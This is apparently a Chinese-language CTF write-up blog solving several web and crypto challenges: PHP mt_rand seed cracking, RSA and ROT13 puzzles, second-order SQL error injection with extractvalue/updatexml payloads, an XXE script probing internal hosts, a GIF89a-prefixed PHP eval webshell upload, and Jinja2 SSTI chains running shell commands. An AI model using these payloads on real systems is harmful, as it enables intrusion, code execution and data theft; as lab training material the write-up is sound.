why

疯疯癫癫的小辣鸡

image-20240602143438527

我枯燥你()

image-20240602143503314

源代码让我们查看check.php

听话

image-20240602143535942

mt_srand

伪随机数是吧

mt_srand

mt_srand() 函数播种 Mersenne Twister 随机数生成器
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。当不使用随机数播种函数srand时,php也会自动为随机数播种,因此是否确定种子都不会影响正常运行。

也就是我们所说的种子

一个种子对应一串字符

知道种子就能知道字符,知道字符就能知道种子

所以我们开始求种子

下载php_mt_seed工具并且使用

下载链接:php_mt_seed - PHP mt_rand() seed cracker

在这里插入图片描述
下载后,放入linux环境,并且运行

在此之前,要先将字符转化为mt_seed可识别的样子

<?php
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len = strlen($allowable_characters) - 1;
$pass = "Yb5Uor04iN";
for ($i = 0; $i < strlen($pass); $i++) {
$number = strpos($allowable_characters, $pass[$i]);
echo "$number $number 0 $len ";
}
echo "\n";
?>

image-20240602143844987

发现种子

之后执行代码

<?php
mt_srand(467497519);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
?>

运行拿到字符串

直接

image-20240602144156759

拿下!!!

image-20240531210804650

翻译一下

数学很酷!使用RSA算法对机密消息进行解码,c、p、q和e是RSA算法的参数。

看到这么大的数别慌,什么都告诉你了慌个集贸啊

直接秒杀

image-20240531213657994

ok了老铁

将下载下来的文件zip重命名为zip.zip这个应该是作者没搞好

之后我们会发现

image-20240531210355240

image-20240531210404328

按它说的来就好了

先是

image-20240531210438230

发现是13位(大部分都是)

然后将ComeChina也编码加密一下(其实加密解密都一样)

得到PbzrPuvan

即flag{PbzrPuvan}

image-20240531204823812

脚本如下

a=int(input())
t=2
while a%t!=0 or 0 in [t%d for d in range (2,int(t**0.5)+1)]:
t=t+1
print(int(a/t))

求出更大的那位数字

再通过计算求出小的那个

最后整合到一起MD5即可

image-20240531200944034

这道题的题解不适合从错误开始写,因为就是二次报错注入,所以我从一开始直接提醒你们!!!

在注册界面在username里面输入依次输入以下

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#
admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

就可以了(找怎么写的已经可以走了)

很基础的二次注入

再来一个个解释

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

这个也就是说我们要进行报错注入,通过报错注入找到tables

查表也是一样的操作

最后两条是因为直接查询字段会发现不止一行

所以使用正则分别读取

image-20240531192836498

嘻嘻嘻吗,没钱钱买,可恶恶呢

打开源码,发现了一个奇奇怪怪的

image-20240531192925336

鬼鬼祟祟,必有蹊跷

第一反应,看到这个就是文件包含或者伪协议

但是文件包含看不出来,试试伪协议读取

但是没什么用啊

宝了个贝的

在其他的界面读,index不行

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单䀀//change

发现了config.php

读一下

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

所以,我们发现了flag应该在ctfusers中

我们也可以确定是sql注入

再来看看之前的

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单䀀//change

发现是在user_name和phone上出现了waf,address啥也没有

所以大概率是在address进行注入

接下来就是确定一下用什么注入方式了

我觉得肯定是二次注入,否则搞那么多页面干吗

事实证明是这样的,但是思路错了

我一开始随便注册了一个然后在修改地址的地方修改再去查询界面看

但是…

image-20240531195025621

可以确定,就是会在修改界面,将这些字符全部实体化,所以…宝了个贝的

想起了之前写过的一道题[RCTF2015]EasySQL

在注册是就使用报错注入,然后在修改页面直接报错,太像了!!!

1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#


1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#

拿到flag{c9c29e2d-6f34-465f-94ec-3d4f2468716b}

注意!

这里要注册两个不一样的账户读取哦~

image-20240530221915999

要长脑子了好像在哪里见过

孩子们我回来了是吧

好好好

和上一题差不多的话先抓包

image-20240530222006950

之后是实体化注入

实体化注入

XXE(XML External Entity Injection)全称为XML外部实体注入。

XML是什么?
XML指可扩展标记语言(EXtensible Markup Language),其设计宗旨是传输数据,而不是显示数据,用来结构化、存储以及传输信息,它没有预定义的标签。XML 和 HTML 之间的差异是什么?

设计目的不同:XML 被设计用来传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息,而 XML 旨在传输信息。

总的来说:我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

XML基本格式与基本语法:
基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>               <!--xml文件的声明-->

<bookstore> <!--根元素-->

<book category="COOKING"> <!--bookstore的子元素,category为属性-->

<title>Everyday Italian</title> <!--book的子元素,lang为属性-->

<author>Giada De Laurentiis</author> <!--book的子元素-->

<year>2005</year> <!--book的子元素-->

<price>30.00</price> <!--book的子元素-->

</book> <!--book的结束-->

</bookstore> <!--bookstore的结束-->

称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

基本语法:
所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
什么是DTO?
DTD基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

实体引用
XML元素以形如 foo 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ' " 替换 < > & ‘ “ 。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。

这道题就不从错误尝试开始了

直接从正解开始吧

探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息,包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等

我们读取关键文件:

image-20240530222507318

image-20240530222516481

对80.后面的174三位进行爆破

即查询下同网段内存在不存在其他地址

爆破脚本如下(因为我bp用不来)

import requests as res
url="http://46a0cc5d-9c92-4497-b08a-7b24717759ad.node5.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://10.244.80.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(1,256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.5)
except:
continue
else:
print(resp.text,end='')
finally:
print('')

最后找到网址和flag!

这个系列啊,好好好

喜欢+1

随便注册个账号登进去

我的登录:

邮箱:1@qq.com
密码:123

你也来试试,爆率真的很高(bushi

噔噔蹬

更换头像????

一眼文件上传

怎么办呢

首先是直接穿php文件木马,这个不行(肯定不行啊)

之后也尝试了改文件格式也还是不行

所以尝试魔术头

GIF89a? <script language="php">eval($_REQUEST[123])</script><script language="php">eval($_REQUEST[123])</script>

神奇的魔术头FIF89a?

针不戳

不需要修改文件类型,你值得拥有,上传查看源码,发现文件包含路径

image-20240526203435590

蚁剑连接即可

拿到flag

真的挺简单的

查看源码

image-20240526190918700

也就是说变量告诉我了,也告诉我通过get传递了

所以?

来吧,宝贝

首先试了试sql注入,不行

只能试试ssti

这个是jinja2模型,还是不太熟练

?search={{[].__class__.__bases__[0].__subclasses__()[40]}}//已经可以读取文件了
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}//找一个可以执行命令的函数
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}//读取文件目录
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /flasklight').read()}}xxxxxxxxxx {{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /flasklight').read()}}{{[].__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__bu%27+%27iltins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27ls%20/flasklight/coomme_geeeett_youur_flek%27).read()}}//猜测当前目录在flasklight下
{{[].__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__bu%27+%27iltins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27cat%20/flasklight/coomme_geeeett_youur_flek%27).read()}}//拿到flag

jinja2模版的ssti

在Python环境下,.__class__获取对应实例的类,.__mro__获取当前对象的所有继承类

得到所有类的父类object后,使用方法__subclasses__()查看所有类对象。

并找到了warnings.catch_warnings模块,通过该模块可以访问os模块。

因此,试图通过访问os模块执行命令查找根目录下的FLAG。

__init__将对象实例化

__globals__引用包含函数全局变量的字典

__builtins__下有eval__import__等全局函数

尝试导入os然后执行cmd命令

ls执行成功说明环境基于Linux

使用cat访问/flag即可得到FLAG

例子观察以上题目payload

0%